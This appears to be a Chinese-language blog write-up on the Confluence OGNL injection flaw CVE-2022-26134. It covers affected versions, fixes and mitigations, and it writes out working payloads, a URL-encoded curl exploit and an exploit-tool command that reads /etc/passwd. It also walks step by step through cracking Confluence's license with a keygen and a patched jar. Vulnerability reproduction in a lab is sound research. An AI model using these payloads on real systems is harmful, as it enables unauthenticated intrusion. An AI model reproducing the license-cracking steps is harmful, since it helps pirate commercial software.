Confluence-CVE-2022-26134

Confluence-CVE-2022-26134
Takake1.漏洞简介
6.CVE-2022-26134 漏洞详解
CVE-2022-26134 是 Atlassian Confluence 中的一个严重远程代码执行(RCE)漏洞,也称为 Confluence OGNL 注入漏洞。该漏洞允许攻击者通过构造恶意的 OGNL(Object-Graph Navigation Language)表达式,在未经身份验证的情况下远程执行任意代码。以下是该漏洞的详细解析,包括漏洞原理、利用条件、影响版本及复现步骤。
1. 漏洞背景
Atlassian Confluence 是一款广泛使用的企业级 Wiki 和知识管理工具,用于团队协作和信息共享。2022 年 6 月,Atlassian 发布安全公告,披露了 Confluence Server 和 Data Center 中的一个严重漏洞(CVE-2022-26134),攻击者可以通过 OGNL 注入实现远程代码执行,危害极大。
2. CVSS V3 评分
- CVSS V3 评分:9.8(高危)
3. 漏洞原理
漏洞的核心在于 Confluence 对用户输入的 OGNL 表达式处理不当:
OGNL 注入:
- OGNL 是一种用于访问和操作 Java 对象图的表达式语言。
- 攻击者可以通过构造恶意的 OGNL 表达式,将其注入到 Confluence 的请求中。
- Confluence 在处理这些请求时,会解析并执行 OGNL 表达式,导致任意代码执行。
漏洞触发点:
攻击者通过构造特定的 HTTP 请求,将恶意 OGNL 表达式注入到 Confluence 的 URI 中。
例如,攻击者可以通过以下 Payload 执行命令:
1
/${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}/
该 Payload 会执行
id
命令,并将结果返回给攻击者。
利用链:
- 攻击者通过发送恶意请求,触发 OGNL 表达式的解析和执行。
- 成功利用后,攻击者可以在目标服务器上执行任意命令,例如创建管理员账户、植入后门等。
4. 影响版本
受影响版本:
- Confluence Server and Data Center 1.3.0 至 7.4.16
- Confluence Server and Data Center 7.13.0 至 7.13.6
- Confluence Server and Data Center 7.14.0 至 7.14.2
- Confluence Server and Data Center 7.15.0 至 7.15.1
- Confluence Server and Data Center 7.16.0 至 7.16.3
- Confluence Server and Data Center 7.17.0 至 7.17.3
- Confluence Server and Data Center 7.18.0。
修复版本:
- Confluence Server and Data Center 7.4.17
- Confluence Server and Data Center 7.13.7
- Confluence Server and Data Center 7.14.3
- Confluence Server and Data Center 7.15.2
- Confluence Server and Data Center 7.16.4
- Confluence Server and Data Center 7.17.4
- Confluence Server and Data Center 7.18.1。
5. 漏洞利用条件
目标系统:
- 运行受影响版本的 Confluence Server 或 Data Center。
- 目标系统未打补丁或未采取缓解措施。
攻击者权限:
- 攻击者无需身份验证即可利用该漏洞。
网络访问:
- 攻击者能够访问目标系统的 Confluence 服务端口(默认 8090)。
6. 漏洞复现
以下是漏洞复现的简要步骤:
环境搭建:
- 使用 Docker 或虚拟机搭建受影响的 Confluence 版本(如 7.4.16)。
构造 Payload:
使用以下 Payload 执行命令(如
id
):1
/${@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")}/
将 Payload 进行 URL 编码后发送到目标服务器。
发送请求:
使用
curl
或 Burp Suite 发送恶意请求:1
curl -v "http://目标IP:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/"
如果漏洞存在,服务器会返回命令执行结果(如
uid=1001(confluence)
)。
工具利用:
使用自动化工具(如
cve-2022-26134.py
)进行漏洞检测和利用:1
python3 cve-2022-26134.py --rhost 目标IP --rport 8090 --lhost 攻击机IP --protocol http:// --read-file /etc/passwd
该工具可以读取目标服务器的文件内容或执行命令。
7. 修复建议
升级版本:
- 升级到 Confluence 的最新修复版本(如 7.4.17、7.13.7 等)。
临时缓解措施:
- 替换受漏洞影响的 JAR 文件(如
xwork-1.0.3-atlassian-10.jar
)。 - 禁用 Confluence 的 OGNL 表达式解析功能。
- 替换受漏洞影响的 JAR 文件(如
安全加固:
- 使用防火墙或安全组规则限制对 Confluence 端口的访问。
- 定期监控系统日志,检测异常访问行为。
8. 总结
CVE-2022-26134 是一个高危的远程代码执行漏洞,影响范围广泛,利用条件简单。建议用户尽快升级版本并采取安全加固措施,以避免潜在的安全风险。通过禁用不必要的功能、限制访问权限和实施安全策略,可以有效降低漏洞被利用的风险。
2.破解流程
- Confluence 界面,默认开启端口为8090,8091,需要破解
- 进入docker容器
1 | $ docker exec -it confluence /bin/bash |
- 将解码包拉去到本地Windows计算机
1 | $ docker cp a4b46090ecf9:/opt/atlassian/confluence/confluence/WEB-INF/lib/atlassian-extras-decoder-v2-3.4.1.jar ./ |
- 将该jar包改名为 atlassian-extras-2.4.jar
- java -jar confluence_keygen.jar运行破解工具
- 输入任意名字
- 复制 Server ID 并输入
- 点击gen生成key
- 复制key备用
- 再点击patch 破解,选择刚刚重命名的包。 注意如果第二次patch 需要删除bak文件
- 显示jar success fully patched,表示破解成功,接下来关闭破解软件即可
将生成的atlassian-extras-2.4.jar改回原来的名字atlassian-extras-decoder-v2-3.4.1.jar
再将破解包中的mysql-connector-java-8.0.29.jar和atlassian-extras-decoder-v2-3.4.1.jar一起放入docker中的lib目录下。(在放入之前需要给它们附加权限)
1 | $ chmod 777 *.jar |
- 重启docker容器。
- 访问8090输入获取到的key
3.安装配置
https://blog.csdn.net/liulei1632/article/details/129500425
- 需要多等待一会
- 选择推荐配置
- 管理用户和组
- 账户密码随便填
- 配置完成
- 尝试创建空间发布文章。
4.复现流程
- 使用curl发送get请求POC
1 | curl -v http://192.168.100.137:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ |
- 不知道为什么只有curl 能够成功执行
- 使用Postman进行测试
- 但我们默认情况下 使用Postman和bp发包都没有回显,这是因为302重定向了,所以需要在postman设置中关闭自动重定向。
- 然后再发送请求就能看到回显了
- 我在bp中配置了不重定向,不知道为什么不能成功。